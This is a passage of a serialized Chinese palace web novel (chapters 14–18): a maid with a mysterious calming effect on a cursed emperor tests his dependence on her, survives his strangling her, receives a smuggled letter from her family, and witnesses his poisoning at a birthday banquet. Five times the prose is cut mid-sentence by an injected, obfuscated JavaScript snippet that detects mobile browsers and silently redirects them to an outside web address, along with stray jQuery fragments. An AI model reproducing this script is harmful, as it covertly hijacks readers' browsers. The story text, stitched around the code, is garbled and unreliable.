凤眸在瞬间掀起骇浪,却又被他死死压下,沉入寒潭。 他不能出去。 一旦他拿出这枚珞子,又该如何解释? 难道要他承认,自己对一个宫女存了绮念,甚至卑劣到暗中窃取她的私物? 他正烦躁,那道声音又钻入他耳中—— 漫不经心的、懒洋洋的、略带嘲弄的,像是裹着层薄薄的糖霜,又甜又带刺。 “润德公公,既然傅妹妹言之凿凿,不如就请陛下圣裁?” 她竟然,主动要求把事情闹大。 是笃定他会为她主持公道吗? 这没来由的信任,劈头盖脸泼下来,蕴生出一丝快意。 他笑了。 那说不清道不明的快意爬上唇角,浸透了眼底墨色。 殿外,润德公公想打个圆场和稀泥:“宋小姑娘,兹事体大,不如……” “不必。” 门开一线,泄出的不是光,而是深重的昏暗。 永昭帝负手立于门内,明黄袍角在门风中翻飞。 单单一道影子,就让周遭冷了三分。 他的目光越过众人,径直落在了宋迎脸上。 眸光翻涌,幽暗深处却藏着一簇星火,似是安抚般,燎了一下。 “将那枚珞子,呈上来。” 随即,视线一转,暖意抽离。 “傅氏,”他问,“你说,纸条被你扔了?” “朕,给你一个时辰。” “把那张纸条,给朕完好无损地找回来。” “找不到,”永昭帝顿了顿,唇角勾起讥诮,“就用你的舌头来抵。” 冷风如刀,刮得人骨头生疼。 傅兰月脸上血色尽失,喉间发出短促叫声,嘴唇哆嗦着,连求饶都忘了。 用舌头来抵? 宋迎心中也是一咯噔。 她要闹大,是想借帝王之威,达成自己的目的。 可她没想过,这把刀竟如此锋利——锋利到不问缘由,只见血光。 他明明是在审判傅氏,可那话里的森然血腥,却直直刺入她后颈软肉,激起一阵战栗。 她猛地抬头,恰好撞入那双深不见底的眼。 这狗皇帝……玩真的? 宋迎垂下眼,长睫遮住了眼底情绪。 她跪在殿外,膝下先是冰冷,再是麻木,最后是无孔不入的刺痛。 帝王的凝视,缠绕着她,审视着她,让她动弹不得。 她看着傅兰月被两个侍卫请了下去,看着润德公公一脸凝重地守在旁边,看着天色由墨蓝彻底沉于死寂。 一个时辰未到,傅兰月回来了。 永昭帝瞥了眼,鼻腔溢出冷哼。 傅兰月被人架着,发髻散乱,一张小脸哭得狼狈不堪,手里却死死攥着一样东西。 她将那东西高高举起,声音嘶哑而尖利: “找到了!陛下!奴婢找到了!” 润德公公脸色一变,快步上前接过。 ——那是一张被揉得皱巴巴的纸条。 他小心翼翼地展开,呈送至永昭帝面前。 永昭帝垂眸。 高伯深那老狐狸,手段还是这么上不得台面。 内容拙劣,可笑至极。 也罢,正好借此发作,名正言顺地废掉这枚眼线,再敲打一下高伯深。 这场戏得演下去—— 永昭帝捏着那张薄纸,“去请司正来,辨了这字迹,一切便都水落石出了。” “不必劳烦司正大人了。” 宋迎抬起了头。 在永昭帝诧异目光下,一字一顿地说道: “这字,是奴婢写的。” 永昭帝捏着纸条的手,僵在了半空。 殿外寒风呼啸,却盖不过宋迎的一句“是奴婢写的”。 错愕,荒谬。 他为她铺好了所有的路,换她一个清白无虞。 可她呢? 她在干什么?! ……除非! ——除非她早就知道,他手上有她的珞子! “你,再说一遍。” 永昭帝的声音低得骇人。 他再给她最后一次机会。 只要她改口,他依然可以…… “回陛下,这字,确是奴婢所写。” 宋迎再次叩首,“奴婢一时鬼迷心窍,是奴婢糊涂。罪该万死,求陛下降罪。” 这番说辞,漏洞百出。 她在做什么? 试探吗,试探他会为了她做到哪一步? 不,这是一场局。 是一场宋迎为他设的局, 是一场等着他一头撞进来的局! 她早就知道他的秘密了是不是! 永昭帝笑了。 “傅氏,” 傅兰月被这声音惊得浑身一颤,以为死期已至。 皇帝声音平静,听不出喜怒,“既是受人蒙蔽,险些替人背了罪名,便退下吧。” 傅兰月如蒙大赦,几乎是手脚并用地爬了出去。 润德公公躬着身子,一步步倒退了出去。 殿外,只剩下了宋迎,和死一般的寂静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816330|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永昭帝的目光,重新压回宋迎纤瘦的脊背上。 他为她铺好了所有的路,换她一个清白无虞。 可她不仅一脚踢开,还反手将了他一军。 她用他不可告人的秘密,堵住了他所有的话。 她,在拿捏他。 好,好一个宋迎。 永昭帝有那么一瞬,是真真切切地想拧断她的脖子。 这念头来得如此凶狠,以至他指尖都微微抽动了一下。 沸腾的杀意再一次涌了上来,混杂着想将失控重新握入掌心的欲望。 “为什么?” 他咬牙切齿。 她慢慢地,抬起了头。 那张素净脸,没有半分惊惶,一双懒洋洋的眼睛,此刻也清亮得吓人。 宋迎就这么迎着他的目光,直直地看了回去。 “因为奴婢想知道一件事。” 永昭帝眯起了眼,笑意狰狞。 他以为她会求饶,会辩解,会用更精妙的谎言来圆这个弥天大谎。 他没料到,她会如此平静。 “哦?”他嘲弄道,“你想知道什么?想知道朕会不会把你凌迟处死?” “不。” 宋迎摇了摇头,“奴婢想知道,陛下是不是……病了。” 一瞬间,永昭帝脸上的暴怒与嘲弄,凝固成一个诡异的表情。 那双凤眸骤然紧缩,仿佛要将眼前的人吸进去,碾碎。 他没有说话,但那股从骨子里渗透出来的阴寒,比任何咆哮都更显可怖。 宋迎像是感觉不到,自顾自地说了下去。 “陛下不喜香薰,不喜丝竹之声,更不喜人多。” “旁人都道是圣上性情乖僻,崇尚清简。” “但其实不是。” “您的五感,天生异于常人。寻常人眼中的声色,到了您这里,都会被扭曲、放大。” “而奴婢在,陛下会好受些。” 最后这句,她说的不是疑问,而是陈述。 一个宫女用最平静的语气,剖开了天子最不堪的秘密。 “住口!” 永昭帝终于动了。 下一瞬,他的手已经死死扼住了宋迎脖颈。 窒息感瞬间袭来,宋迎的脸涨得通红,但她没有挣扎,那双清亮的眼睛,依旧直勾勾地盯着他。 “你好大的胆子。” 他指骨收紧,几乎要捏碎她的喉骨,“是谁告诉你的?” 永昭帝的脸庞在宋迎的模糊视野里逐渐放大。 “没……人……是奴婢……在赌……” 她用尽全身力气,一个字、一个字地往外挤,“赌……陛下……您……舍不舍得……杀我……” 舍不得? 永昭帝像是听到了天大的笑话。 他贵为天子,富有四海,有什么是舍不得的? 他应该立刻、马上,毫不犹豫地拧断她的脖子! 可偏偏,他扣着她脖颈的手,在听到那句话时,竟不受控制地,松了一丝。 宋迎得到了喘息的机会。 她伏在地上,剧烈地咳嗽着,咳得眼角都沁出了泪。 “我……我故意弄掉珞子,是想看看您会不会捡。” “我故意漏给傅兰月瞧见,是想看看高伯深会怎么出招……” “我故意……在您面前认下所有罪名……咳咳咳……” 宋迎双手撑地,脖颈上那圈红痕,触目惊心。 她抬起那双水汽氤氲的眼睛, “奴婢就是想看看,陛下……您……究竟能不能,离得开奴婢。” 15. 第 15 章 荒谬! 永昭帝脑中只剩这两个字,震得他太阳穴突突直跳。 他以为的掌控,是她的算计。 他以为的施恩,是她的试探。 他以为的愤怒,是她想要的答案。 而他,真就一步步,走进了她布下的局。 他被她玩弄于股掌之间! 何其可笑! 杀意没有咆哮而出,反而坠进心口,再攀上眼底。 杀了她。 杀了她! 永昭帝收紧五指,再一次扼住那截纤细脆弱的脖颈。 对,就是这样…… 杀了她,一切就都能回到原点! 可…… 就在他指骨即将捏碎喉骨的瞬间—— 那份纠缠着他的诅咒,竟随着她气息的衰弱,尖啸而来。 烛光在他视野里里拖拽出无数扭曲的细长光斑,宛如金色毒蛇一般,啃噬着他的神经; 风过檐角化作利刃,在他颅内反复剐蹭; 金丝银线的纹理,清晰得在他皮肤上落下密密麻麻的灼痛。 天地万物,皆是刑具。 他……不能杀她。 这个认知,比被她看穿所有秘密,更让他感到屈辱,感到绝望。 像是钝刀凌迟,残忍至极。 永昭帝猛地松开了手。 指尖开始控制不住地痉挛、颤抖。 “咳……咳咳咳咳!” 新鲜的空气涌入肺腑,宋迎伏在地上,爆发出撕心裂肺的呛咳声。 剧烈的喘息带动肩背颤抖,细碎泪珠顺着脸颊滑落。 她像极了一只在暴雨中折了翅的蝶。 可永昭帝看到的,却是一头刚刚赢得死战,正低头舔舐尖牙的恶狼。 他踉跄着后退一步,又一步。 他输了,输得体无完肤。 他想咆哮,想掀翻这里的一切,想把她一同拖入地狱,永世不得超生! 可所有翻涌的怒火,所有沸腾的杀意,最终都堵在了喉咙口,被更为汹涌的恐惧死死扼住—— 他离不开她。 “……滚。” 声音沙哑,轻得几乎听不见。 他背过身去,不再看她。 他不敢再看她。 多看一眼,那份无力感、窒息感,顷刻间就会把他碾碎。 然后,是一声更重的嘶吼: “滚出去!” 暴喝之中,宋迎挣扎着,爬到廊道梁柱后,才扶稳起身。 膝盖的麻木,喉咙的钝痛,都让她眼前发黑。 “宋小姑娘。” 润德公公不知何时立在身侧。 他递过来一方软帕,眼神复杂难喻。 “陛下……正在气头上。”他低声道,“您先随老奴来。” 宋迎接过帕子,胡乱按了按眼角咳出的泪,嘶哑地道了声“多谢公公”。 触及脖颈,火辣辣的疼痛让她指尖微缩。 窗户纸总归要捅破的,还不如她自己来。 若不破釜沉舟,她怎么能试探出狗皇帝的底线? 她赌赢了。 ——永昭帝,是真的不舍得杀她。 可她的家人在等她。 她离家后,音讯全无,爹娘会不会大病一场?会不会熬坏了身子? 宋迎不敢去想。 她也未尝没有跟狗皇帝提过。 可他看向她的眼神,仿佛在看一件精心保养的器物。 应允她休沐,供她三餐自由。 都是为了让她保持这具身体的“纯粹”与“干净”。 所以,宋迎不能像入宫前那般,找个册子写写画画。 因为墨香会污染气息。 她只能打珞子来打发时间。 ——宋迎很清楚,永昭帝的需求,永远凌驾于她的意愿。 她想写封书信都不能。 更遑论回家。 既然退无可退,那便只能赌。 今日赌来的“舍不得”,就是她下一局的筹码。 润德公公引着她走在宫道上,叹了口气: “过些日子,便是陛下生辰了。各司各苑都忙得脚不沾地,尤其是膳房。” “姑娘不如……先去尚食司避避风头?也算换个地方为陛下分忧。” 他脚步一顿,转头看向宋迎,意有所指: “陛下息怒,也需台阶可下。姑娘,可懂咱家的意思?” 她逃脱计划的最后一步就在尚食司,宋迎心中一动。 真是老天爷都在帮她。 宋迎长睫微垂,遮住眸底欣喜,顺从地福了福身子:“全凭公公安排。” 尚食司,是宫里最会看人下菜碟的地方。 当宋迎的名字传过去的时候,所有人都竖起了耳朵。 ——十二秀女之一,却又是万春殿的四等宫婢。 这两个南辕北辙的身份,搁在同一个人身上,本该是个笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823814|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,却因着那份独一无二,反倒咂摸出几分旁人企及不得的分量。 宋迎身形纤细,眉眼清丽,立在一群膀大腰圆的庖厨之间,像一株花,落进了菜市。 于是,她一来,便被请进了专做精细点心的白案一处,不必沾染半点粗活的油腥。 或许是润德公公关照过,人人心底都跟明镜似的,默认她不会在尚食司太久。 宋迎也知道自己几斤几两,三脚猫的揉面功夫,还不如人家自己干。 她又被分去做了传菜摆盘的活儿。 四处走走,正好筹谋大事。 今日,润德公公照例来送软肌膏。 “过两日便是万寿节了,姑娘的差事我已经打点好,届时传菜摆盘,务必在御前露个脸。” 颈伤早就淡了,凑近了瞧,才能隐隐瞧出青紫浅痕。 万寿节…… 她等的,就是这一天。 午后,宋迎摆好盘,将花酥点心交给传膳的小太监。 一个身影忽然从旁边窜了出来,怯生生拽住了她袖口。 “宋……宋姐姐。” 宋迎侧目,来人是膳房的小太监,名叫小安子。 平日里负责些打杂的活计,人很瘦弱,胆子也小,总是被旁人呼来喝去。 “何事?” “姐姐,你……你能不能帮帮我?” 小安子急得快哭了,“我……我手笨,不小心刻坏了好几个蜜瓜,这都是要上贡的……要是被发现了,非得挨一顿板子不可!” “我瞧姐姐手巧,求姐姐……指点一二,求您了!” 宋迎跟小安子的关系还不错。 “别急,”她点了点头:“我随你去看看。” “多谢姐姐!多谢姐姐!” 小安子连声道谢,忙不迭地在前头引路。 两人一前一后,穿过热火朝天的灶台区,绕过堆满菜筐的廊下,越走,周遭便越是安静。 宋迎的脚步不知不觉间放慢了半分。 “瓜果在哪儿?”宋迎问。 见她不上钩,小安子僵了一瞬。 他缓缓转过身,没有回答。 而是抬起手,伸向自己耳后。 只见他指尖在脸颊边缘轻轻一勾,再一撕—— 一张蜡黄的人皮面具,被他完整揭下。 面具之下,露出的,是一张截然不同的脸。 宋迎的呼吸停了一拍。 这张脸,她认得。 16. 第 16 章 面具之下,露出的,是一张清冷孤傲,却难掩风华的脸。 ——黎婧容。 她果然进宫了。 “宋姑娘,我们又见面了。” 黎婧容不待宋迎回应,便转身推开了院角的库房门,“不进来叙个旧么?” 宋迎知道原书剧情,没太多惊讶,只眸光微凝,便随她进了屋。 屋内堆着杂物,一看就是平日没人会来的地方。 原书剧情中,女主黎婧容本想一人前往,但男主放心不下,便提出以独家秘法易容术相助,这才跟来。 黎婧容在这,男主呢? “你我虽萍水相逢,却也算有缘。”黎婧容说道,“我知你名唤宋迎,却还未自报家门……” “不必了。” 宋迎打断了她,反手将门合上。 “姑娘所图之事,想必惊天动地。我不过一介宫婢,命如蝼蚁,有些话,听了,是会死人的。” 黎婧容唇边笑意一僵。 她没想到,自己准备好的一番说辞,竟被对方如此干脆利落地堵了回来。 宋迎垂下眼帘,不敢去看黎婧容的眼睛。 她太清楚黎婧容想做什么了——毒杀皇帝。 而自己,一个传菜摆盘、最容易下毒的人,简直是为她量身定做的刀。 她几乎能预感到黎婧容下一句话会说什么,或许是威逼,或许是利诱…… “罢了,”半晌,黎婧容才重新找回声音,“你不知道也好。” 宋迎抬头,满眼错愕。 只见黎婧容敛去了所有锋芒,她回想着与宋迎初见的情景,轻声说: “……我受过宋家恩惠,滴水之恩应当涌泉相报。” 说着,她从怀中取出一封信,递了过来。 ……不是让她去做事? 宋迎疑惑接过。 信封平整,没有半点褶痕。 可当她抽出信纸,指尖触到的,却是那种被泪水反复浸透,粗粝又僵硬的质感。 入眼便是嫂嫂的字迹。 力道是比从前更沉稳了些,但起笔收笔处那小小的顿挫习惯,依然可分辨出是嫂嫂的字迹! 一瞬间,宋迎的鼻腔酸涩,几乎无法呼吸。 是嫂嫂! 真的是嫂嫂! “茵茵吾妹,见字如面。 不必忧心家中,公婆身体尚安,我亦将诸事打理妥帖。 琉璃高瓦,怕是此生再难相见。 今日,嫂嫂只求茵茵一事。 忘却前尘,保全自己。 此信托了信任之人才得以递入你手中。 不必回信,切记切记,勿念,保全。 茵茵吾妹,勿念,保全。” 宋迎再也抑制不住,泪水决堤而出,模糊了眼前所有。 泪珠滚滚而落,砸在信纸上,洇开一圈圈湿润痕迹。 神思恍惚之际,一只素白的手伸了过来,将那封信从她指间抽走。 “姑娘……” 宋迎抬起一双通红泪眼,声音沙哑。 “此信在宋姑娘身上,多有不便。” 宋迎明白了,这信在她身上是杀身之祸,但她……确实不忍心焚毁。 回过神,她带着浓重的鼻音,低声问道:“我嫂嫂信中说,家中父母,一切安好。姑娘……可知是真的?” 黎婧容的动作,有那么一刹那的僵凝。 她没想到宋迎会问这个问题。 这片刻的犹疑,已是让宋迎分辨出真假。 “多谢姑娘,宋迎知道了。” 黎婧容眸色一沉,第一次正视起眼前的宋迎。 第一次见面,她刻板有礼,与家人拳拳相护。 第二次见面,她一眼洞穿,字字珠玑字字应验。 第三次见面……混乱中,不知为何她引开了永昭帝,才让自己得以逃出生天。 一个能在永昭帝身边活下来的人,又怎会是寻常角色? 黎婧容笑了。 随后她敛起笑意,直入正题,“宋姑娘费尽心思从万春殿调到尚食司,所为之事,不就是为了逃吗?” 她向前一步,目光灼灼。 “口说无凭。不如,我送宋姑娘回家一趟,亲自瞧瞧,以辨真假?” …… …… 宋迎擦干泪迹,声音恢复平静,“看不出了吧?” 黎婧容微不可察地点了点头。 宋迎转身,推门而出。 门扉合上,库房阴影中倏然分离出一个身影。 悄无声息,恍若鬼魅。 那是属于尚食司主管大监的脸。 年过半百,沟壑纵横,却嵌在一副挺拔的身躯上,显得无比违和怪异。 “你改主意了?” 黎婧容垂下眼,“她心不够狠。一封家信就能让她溃不成军,怎堪大事相托。” “是因为兖州朱氏?”那人继续说道,“容儿,你不必将那份愧疚错加在她身上……” “够了!”黎婧容猛然打断,“宋家的恩,今日还了,从此两不相欠。” “怀哥哥,我自有分寸。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833128|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说着,黎婧容重新戴上人皮面具,变成小安子,出了屋门。 那人站在原地,没有动。 他看着那扇轻轻晃动的门,眸中清亮,终究化为浓浓心疼。 * 万春殿内。 永昭帝盯着掌心那枚,被他反复揉捏到变形的珞子,面色沉得能滴出水来。 那上面,还残留着属于她的冷香。 他闭上眼,气息微弱,但足以让他贪婪汲取,暂时抚平疼痛。 可一想到这股气息的主人,是如何戏弄他的。 那份好不容易平息的剧痛,又瞬间化作屈辱,灼烧着他。 “呵……” 他猛地攥紧拳头,那枚珞子便应声化为粉末。 粉末从指缝中簌簌落下。 不,他不会输。 一抹阴鸷的幽光在他眼底翻涌。 既然强硬的扼杀,会引来诅咒的反噬…… 那他,就换一种玩法。 他要将她捧上云端。 他要给她前所未有的恩宠,让她相信自己真正驯服了他这头猛兽。 在她最得意、最放松、自以为能掌控一切的时候—— 再亲手折断她的獠牙,让她尝尝从云端跌入泥淖的绝望! 这天下,这人心,都该是朕的掌中之物。 朕让她知道,谁,是猎物, 谁,才是真正的主人。 想到这,永昭帝心中那头暴戾凶兽竟奇异地安静下来,蜷缩回最深处,耐心地等待着狩猎的时刻。 他拂去指尖的粉末,对着殿外,扬声道: “润德。” 润德公公碎步趋前,躬身垂首。 永昭帝转过身,脸上漾起笑意,看不出丝毫怒意。 “去尚食司,把宋迎给朕……请回来。” 那个“请”字,他咬得极轻,却带着不寒而栗的意味。 当润德公公宣布,御前传菜的殊荣,最终落在了宋迎头上时,整个尚食司都静了一瞬。 众人没太多惊讶。 “看吧,我就说,凤凰怎么可能真在鸡窝里待着。” “这才几天?陛下就等不及了,亲自派人来请。” “这怎么不封个娘娘,白白担着个宫婢的身份?” 宋迎跪地领旨,姿态谦卑,“奴婢……叩谢天恩。” 永昭帝的台阶,递过来了。 而她,退无可退,必须踩着这个台阶,走完最后一步。 家人还在辽州等她。 这一步,她必须踩上去。 17. 第 17 章 “陛下今儿生辰,特意温上了那坛秋露白。” 润德公公在前引路,“陛下是当真,离不开姑娘的。” 宋迎微微垂着眼,视线落在绣鞋上。 鞋面上缀着小小珍珠,在灯影下滚着层温润冰冷的光。 这是新换的冬季宫装,领口与袖口滚着圈兔毛绒花,雪白绵软,虚虚地拢着脖颈。 那点微痒的暖意,反而激起一身鸡皮疙瘩。 什么离不开。 不过是他五感又失控了,需要她这件趁手的物件去安抚罢了。 忍一忍,过了今夜,就可以回家了。 目光上移,扫过手中托盘。 ——一共三道菜。 黎婧容直到最后也没告诉自己她的下毒计划。 她究竟在哪道菜里下了毒? 会不会被狗皇帝看出破绽? 但……原书写的剧情,就一定会发生。 黎婧容一定会下毒。 永昭帝也一定会吃的。 宋迎深吸一口气,只要等狗皇帝毒发,黎婧容便会在甬道尽头接应她的! 指尖微微发抖,沿着腕骨蔓延,惹得盘中瓷器撞了一下。 前方脚步骤止。 润德公公转身问道:“怎么了?” “无碍,”宋迎低头,“只是天冷,奴婢的手冻僵了。” 润德公公扯了扯唇角,“进去就是了,万春殿里暖和得很呢。” 说着,润德公公为她推开那扇朱漆殿门。 顷刻间,融融暖气扑面而来,像是要将她连人带骨吞噬殆尽。 宋迎端着托盘,一步一步,踏入万春殿。 正因要保全,才不能勿念。 正因有所念,才必须……拼死一搏。 ——逃出去,回到家人身边。 无论付出什么代价。 上首,帝王闲适倚着。 他唇角勾笑,目光落在宋迎身上,一寸寸审视着,一点点描摹着。 宋迎垂眼,将托盘置在他面前。 随即,裙摆铺陈,跪下叩首。 “恭祝陛下生辰安康,万寿无疆。” “平身吧。” 宋迎依言起身,脊背绷得笔直,纤长眼睫轻颤,泄出几分紧张。 她始终低垂着头,不敢去看那双眼睛。 偌大的万春殿,静得只剩灯芯偶尔爆开的轻响。 殿内亮如白昼,无处可藏。 案几上,暖炉煨着酒壶,氤氲出的暖雾,暧昧又危险。 宋迎垂首侍立,双手交叠于身前。 她似乎都感觉不到自己的心跳声,每一息都像是从胸腔里艰难偷来的。 然而,永昭帝却并没有直接拿起筷箸用膳。 他站了起来。 五爪金龙流转不定,绕过御案,一步,一步,走向她。 宋迎的呼吸猛地一滞。 那珍馐暖雾蛮横地侵入她的呼吸,一片巨大的阴影自头顶缓缓压下,将她完全笼罩,隔绝了殿内所有光亮。 “如你所愿,朕……离不开你。” 他在她面前站定。 随即,灼热气息喷洒在她眼睫上,惊得那对蝶翼颤抖得不成样子。 “你可有什么想说的?” 宋迎将头垂得更低了,声音有些发紧。 “奴婢……不敢。” “不敢?” 他轻笑一声。 下一瞬,一只温热大手,覆上了她手背。 宋迎手腕一烫,整个人都僵住了。 她下意识地想抽回手,手腕却被他五指收拢,半分动弹不得。 他指腹上带着狎昵意味,在她腕骨上缓缓摩挲。 “过来。” 宋迎几乎踉跄着,被他牵回了案几边。 他没回主位,反而将她按在了自己身侧的锦凳上。 这个距离……太近了。 近得她身体发烫,烫得连空气都稀薄,宋迎每次呼吸,都像在吞咽着刀子。 永昭帝紧握着她的手不放,另一只手慢条斯理地拾起银箸。 “朕的口味,一向刁钻。” 他的目光落在满桌佳肴上,却让宋迎血液瞬间冷了下去。 “甜一分则腻,辣一分则呛。” 他银箸一顿,夹起一块晶莹剔透的鱼脍上,随即抬眸看她。 墨色的瞳孔,映出宋迎煞白的脸。 “可偏偏,有你在,”他拖长了语调,“这些味道,便都恰到好处。” 宋迎的心跳到了嗓子眼。 那几盘菜里,有黎婧容下的毒! 他知道了? 他一定是什么都知道了! 是哪一道菜? 还是……所有? 思绪还没理清,那双握着银箸的手,已递至她唇边。 沾着酱汁的鱼脍,离她的唇瓣不过毫厘,生肉的微腥与米醋的甜香钻入鼻腔,逼出了宋迎眼底水光。 “不如,你替朕尝尝,看今日这道玉露脍?” 轰—— 宋迎的脑中一片空白。 永昭帝不会杀她,那这算什么? 试探? 用她试探这桌菜肴? 他到底要怎样才能吃? 她到底要怎么做才能让他吃下去?! 宋迎猛地从锦凳上滑下,重重跪倒在地。 她顾不得疼,死死咬着牙,“陛下!陛下恕罪!” “陛下乃万金之躯,奴婢身份卑贱,岂敢……岂敢与陛下同食!此乃大不敬,奴婢万死……万死难辞其咎!” 殿内,一片死寂。 那块玉露脍,还悬在半空。 许久,头顶传来一声笑。 那笑声不高,却带来一阵阵毛骨悚然的痒意。 银箸被他随意地扔在玉盘上。 接着,一双绣着盘龙云纹的靴子,出现在宋迎匍匐的视野里。 他俯下身,再度将她笼罩。 修长手指掐住了她的下颌。力道不重,却带着不容抗拒的意味,迫使她仰起头,对上那双幽深如寒潭的眼。 他的眼眸深不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838703|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见底,他看着她眼中惊疑与泪光,嘴角的笑意更深了。 “朕,都不舍得杀你。” 他一字一顿,“又岂会介意这些小节?” 宋迎看着他近在咫尺的脸,看着他眼底清晰的、滔天的、冰冷的恨意。 她的心理防线,濒临崩溃。 她不吃,永昭帝戒心难消。 永昭帝戒心不消,便无法中毒。 永昭帝若不毒发,她就难以逃走。 她一定要吃。 “今日是朕生辰,”永昭帝指尖滑过她唇瓣,“朕让你吃,你就得吃。” “怎么,非要朕亲手喂你?” 她抬起那张泪痕交错的脸。 拿起筷子,夹起鱼脍,在酱碟里蘸了蘸。 然后,在永昭帝的注视下,送入口中。 冰凉滑腻的触感,在舌尖炸开,腥甜沿着喉管滚落,像是吞下了块炭。 她甚至尝不出那是什么味道,只觉得五脏六腑都搅在了一起。 做完了。 一切都做完了。 宋迎重新伏下身,静静等待着毒发身亡的那一刻。 一息,两息…… 胃里除了因紧张而起的绞痛,再无别样感觉。 意料之中的剧痛与麻痹,迟迟没有到来。 永昭帝从同一盘鱼脍中,夹起了另一块。 送入自己口中,咀嚼着。 她没死。 他也……安然无恙。 那盘菜……根本没有毒? 还是说,计划从一开始就出了差错? 永昭帝放下银箸。 用指尖勾起宋迎下颌,重新迫使宋迎抬起头看着他。 这次力道又轻又缓,轻轻一捏,就能分开她的唇瓣。 “说,你是谁的人?”声线转冷,“燕党?” 他执起桌上酒杯,自己先饮了一半,随即,杯沿贴上她的唇,不由分说地将将余酒渡了进来。 酒液灼得宋迎心口一颤。 “归顺朕,”他盯着她被酒液濡湿的唇,“朕会封你为妃,予你无上荣耀!” 永昭帝笑着,笑声回荡,刺耳又癫狂。 忽然,他的手失了力道。 “哐当——” 手中杯盏滑落。 笑声,戛然而止。 一抹乌红,从他薄唇边缓缓淌下。 他张了张嘴,喉间却只发出嗬嗬的血沫声。 剧烈的呛咳让他躬下了身,大捧大捧的黑血从他指缝间喷出,溅在宋迎裙摆上。 他还没来得及发出一个字,便直挺挺地向后倒去! 满桌的珍馐佳肴,尽数翻倒在地。 瓷器碎裂,汤汁流淌,金盘玉碗滚落一地。 整个万春殿,瞬间一片狼藉。 一切发生得太快了。 宋迎跪坐在原地,呆呆地抚过裙摆上温热血迹,又看向那个倒地不起的男人。 “还发什么呆!” 殿门处,傅兰月立在阴影里:“再不走,就真的走不了了!” 18. 第 18 章 傅兰月脸埋在臂弯里,断断续续抽噎着。 “宋姐姐……我、我可怎么办啊?” 宋迎端详着傅兰月递过来的纸条。 ——纸条上,吩咐傅兰月监视君王,调查宋迎。每隔三日便要禀报一次。 宋迎哂笑,该说傅侍郎是自信呢,还是……天真呢? 她抬眼看向傅兰月。 傅兰月哭得肩膀发颤,一双眼睛哭的又红又肿,眼神里却满是未经世事的干净。 常居闺阁的女子,去干细作的活? 宋迎皱了皱眉。 ……她爹真是脑袋挂门上被夹了也是活该。 “父亲根本没为我着想过!一入深宫,生死皆在宫里,哪里还由得他!若是听了他的,怕是死的更快!” 说着,傅兰月心底又涌上委屈,“他心里……从来只有姐姐。我的死活,他哪里会管。” 倒也不算太糊涂,宋迎想。 见宋迎久久不语,傅兰月慌了,伸手拽住她袖角,“皇上那边……我不敢说。润德公公瞧着和善,可我总觉得他看人的眼神瘆得慌……我想来想去,这宫里,我能信的,只有宋姐姐你了……” 她顿了顿,依赖地仰望着宋迎,“每每遇见,你总是对我笑。宋姐姐你……你看起来很亲切。” 这还是第一次有人说自己亲切。 宋迎扑哧笑了出来。 傅兰月被她笑得有些无措,正想问自己是不是说错了话,却听见宋迎开口: “要不,我们一起逃走吧。” “……啊?” 傅兰月擤了擤鼻涕,以为自己听错了。 “宋姐姐,你在说什么胡话呢!” “我没有说胡话,”宋迎淡然,继续道,“你留在这里,你父亲就不会放过你,就算杀了传信人也于事无补,今天是一个小太监,明天就会是别的什么人,你防不胜防。” “逃出去,离开这里,改名换姓,让谁也找不到你。” 逃出去…… 她激动得猛地站起身,又因腿软,重新跌坐回去。 是啊,宋姐姐说得对。 只要她还在宫里一天,父亲就不会放过她! 可是……她不明白。 傅兰月疑惑抬眼,“可宋姐姐你……你不是陛下跟前的红人吗?宫里谁不知道,你虽只是个四等宫婢,可吃穿用度,连一等的大宫女都比不上,简直就跟……” 宫里的娘娘一样。 后半句话她没敢说出口,但那眼底艳羡,足以说明一切。 宋迎脸上的笑意淡了下去。 是啊,多好的生活。 的确,从KPI的角度看,这份工作简直是天堂。 上辈子,作为基地最末等的F级向导,她过的是早八晚五的生活。 因为姐姐是S级向导,那些哨兵宁愿排队等畸化,去乞求姐姐多看他们一眼,也不愿接受她的精神疏导。 她成了最清闲的人,每天在图书馆摸鱼打发时间,但打卡上班的流程却一点也不能少。 而现在呢? 